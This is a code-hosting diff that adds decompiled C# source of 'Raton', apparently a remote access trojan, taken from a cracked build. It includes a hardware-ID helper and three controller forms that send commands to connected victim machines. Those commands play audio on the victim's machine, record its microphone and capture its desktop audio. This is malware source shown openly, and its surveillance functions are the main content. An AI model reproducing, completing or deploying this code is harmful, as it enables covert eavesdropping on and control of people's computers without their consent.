<Error Condition="!Exists('packages\System.ValueTuple.4.6.1\build\net471\System.ValueTuple.targets')" Text="$([System.String]::Format('$(ErrorText)', 'packages\System.ValueTuple.4.6.1\build\net471\System.ValueTuple.targets'))" />
|
||||
</Target>
|
||||
</Project>
|
||||
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Raton", "Raton.csproj", "{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,40 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Classes.DarkMode
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Classes;
|
||||
|
||||
public static class DarkMode
|
||||
{
|
||||
private static readonly DarkModeCS.DisplayMode darkMode = DarkModeCS.DisplayMode.DarkMode;
|
||||
private const int DWMWA_BORDER_COLOR = 34;
|
||||
|
||||
[DllImport("dwmapi.dll")]
|
||||
private static extern int DwmSetWindowAttribute(
|
||||
IntPtr hwnd,
|
||||
int dwAttribute,
|
||||
ref int pvAttribute,
|
||||
int cbAttribute);
|
||||
|
||||
public static void Start(Form form)
|
||||
{
|
||||
new DarkModeCS(form).ColorMode = DarkMode.darkMode;
|
||||
Color color = Color.FromArgb(174, (int) sbyte.MaxValue, 226);
|
||||
DarkMode.SetBorderColor(form, color);
|
||||
}
|
||||
|
||||
private static void SetBorderColor(Form form, Color color)
|
||||
{
|
||||
int pvAttribute = (int) color.R | (int) color.G << 8 | (int) color.B << 16 /*0x10*/;
|
||||
DarkMode.DwmSetWindowAttribute(form.Handle, 34, ref pvAttribute, 4);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Classes.DeviceManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Classes;
|
||||
|
||||
public static class DeviceManager
|
||||
{
|
||||
private static readonly string DeviceFile = Path.Combine(MainWindow.appData, "device.id");
|
||||
|
||||
public static string GetHWID()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Cryptography"))
|
||||
{
|
||||
if (registryKey != null)
|
||||
{
|
||||
object obj = registryKey.GetValue("MachineGuid");
|
||||
if (obj != null)
|
||||
return DeviceManager.Sha256(obj.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return $"HWID-{Environment.MachineName}-{Environment.UserName}";
|
||||
}
|
||||
|
||||
public static string GetOrCreateId()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(DeviceManager.DeviceFile))
|
||||
return File.ReadAllText(DeviceManager.DeviceFile).Trim();
|
||||
string contents = Guid.NewGuid().ToString("N");
|
||||
Directory.CreateDirectory(Path.GetDirectoryName(DeviceManager.DeviceFile));
|
||||
File.WriteAllText(DeviceManager.DeviceFile, contents);
|
||||
return contents;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return Guid.NewGuid().ToString("N");
|
||||
}
|
||||
}
|
||||
|
||||
private static string Sha256(string input)
|
||||
{
|
||||
using (SHA256 shA256 = SHA256.Create())
|
||||
{
|
||||
byte[] hash = shA256.ComputeHash(Encoding.UTF8.GetBytes(input));
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
foreach (byte num in hash)
|
||||
stringBuilder.Append(num.ToString("x2"));
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonAudio
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonAudio : Form
|
||||
{
|
||||
private string path = string.Empty;
|
||||
private IContainer components;
|
||||
private AeroListView aeroListView1;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
private Timer timer1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ImageList imageList1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonAudio()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.LoadAudioFiles();
|
||||
}
|
||||
|
||||
private void ratonAudio_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
openFileDialog.Filter = "Supported by RatonRAT|*.mp3";
|
||||
openFileDialog.Title = "Select an audio file";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
this.path = openFileDialog.FileName;
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadAudioFiles()
|
||||
{
|
||||
string path = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Audios");
|
||||
if (!Directory.Exists(path))
|
||||
return;
|
||||
foreach (string file in Directory.GetFiles(path, "*.mp3"))
|
||||
{
|
||||
ListViewItem listViewItem = new ListViewItem(Path.GetFileName(file))
|
||||
{
|
||||
ImageIndex = 0
|
||||
};
|
||||
listViewItem.SubItems.Add(file);
|
||||
listViewItem.ImageIndex = 0;
|
||||
this.aeroListView1.Items.Add(listViewItem);
|
||||
}
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(this.path) || !File.Exists(this.path))
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Select a valid file", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
byte[] numArray = File.ReadAllBytes(this.path);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "PlayAudio");
|
||||
pack.Set("Audio", numArray);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num2 = (int) Messenger.MessageBox("The audio was sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
private void aeroListView1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.aeroListView1.SelectedItems.Count <= 0)
|
||||
return;
|
||||
this.path = this.aeroListView1.SelectedItems[0].SubItems[1].Text;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonAudio));
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[2]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2
|
||||
});
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(11, 12);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(506, 272);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.SelectedIndexChanged += new EventHandler(this.aeroListView1_SelectedIndexChanged);
|
||||
this.columnHeader1.Text = "Audio name";
|
||||
this.columnHeader1.Width = 193;
|
||||
this.columnHeader2.Text = "Path";
|
||||
this.columnHeader2.Width = 311;
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "Audio_16x.png");
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_headphones_sound_wave_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(10, 333);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(508, 37);
|
||||
this.button1.TabIndex = 1;
|
||||
this.button1.Text = "Send audio";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Segoe UI", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_folder_arrow_up_24_filled;
|
||||
this.button2.IconSize = 25;
|
||||
this.button2.IconSpacing = 8;
|
||||
this.button2.Location = new Point(11, 290);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(507, 37);
|
||||
this.button2.TabIndex = 2;
|
||||
this.button2.Text = "Use a custom audio";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(528, 385);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonAudio);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonAudio);
|
||||
this.Load += new EventHandler(this.ratonAudio_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,139 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonMicrophone
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonMicrophone : Form
|
||||
{
|
||||
public bool isRecording;
|
||||
private IContainer components;
|
||||
private Button button1;
|
||||
private Timer timer1;
|
||||
public Label label1;
|
||||
public FlatProgressBar flatProgressBar1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonMicrophone()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonMicrophone_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = $"Recording audio from {this.SillyClient.uid} | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isRecording)
|
||||
{
|
||||
this.label1.Text = "Starting...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StartRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = false;
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
this.flatProgressBar1.Value = 0;
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonMicrophone_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonMicrophone));
|
||||
this.button1 = new Button();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.flatProgressBar1 = new FlatProgressBar();
|
||||
this.label1 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.button1.BackgroundImage = (Image) Resources.record;
|
||||
this.button1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.button1.Location = new Point(15, 33);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(33, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = " ";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.flatProgressBar1.BackColor = SystemColors.WindowFrame;
|
||||
this.flatProgressBar1.Location = new Point(54, 33);
|
||||
this.flatProgressBar1.Name = "flatProgressBar1";
|
||||
this.flatProgressBar1.ProgressBarColor = Color.Green;
|
||||
this.flatProgressBar1.Size = new Size(413, 29);
|
||||
this.flatProgressBar1.TabIndex = 1;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(16 /*0x10*/, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(333, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Recording audio from Raton_1234567 | Size: 0kb | KBPS: 0";
|
||||
this.AutoScaleDimensions = new SizeF(5f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackColor = SystemColors.ButtonFace;
|
||||
this.ClientSize = new Size(479, 82);
|
||||
this.Controls.Add((Control) this.flatProgressBar1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(2, 3, 2, 3);
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonMicrophone);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonMicrophone);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonMicrophone_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonMicrophone_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,137 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonSystemRecording
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonSystemRecording : Form
|
||||
{
|
||||
public bool isRecording;
|
||||
private IContainer components;
|
||||
public FlatProgressBar flatProgressBar1;
|
||||
private Button button1;
|
||||
public Label label1;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonSystemRecording()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonSystemRecording_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = $"Recording desktop audio from {this.SillyClient.uid} | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void ratonSystemRecording_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isRecording)
|
||||
{
|
||||
this.label1.Text = "Starting...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StartSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = false;
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
this.flatProgressBar1.Value = 0;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonSystemRecording));
|
||||
this.label1 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.button1 = new Button();
|
||||
this.flatProgressBar1 = new FlatProgressBar();
|
||||
this.SuspendLayout();
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(13, 11);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(382, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 5;
|
||||
this.label1.Text = "Recording desktop audio from Raton_1234567 | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.button1.BackgroundImage = (Image) Resources.record;
|
||||
this.button1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.button1.Location = new Point(12, 30);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(33, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 3;
|
||||
this.button1.Text = " ";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.flatProgressBar1.BackColor = SystemColors.WindowFrame;
|
||||
this.flatProgressBar1.Location = new Point(51, 30);
|
||||
this.flatProgressBar1.Name = "flatProgressBar1";
|
||||
this.flatProgressBar1.ProgressBarColor = Color.Green;
|
||||
this.flatProgressBar1.Size = new Size(589, 29);
|
||||
this.flatProgressBar1.Style = ProgressBarStyle.Marquee;
|
||||
this.flatProgressBar1.TabIndex = 4;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(652, 78);
|
||||
this.Controls.Add((Control) this.flatProgressBar1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonSystemRecording);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonSystemRecording);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonSystemRecording_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonSystemRecording_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user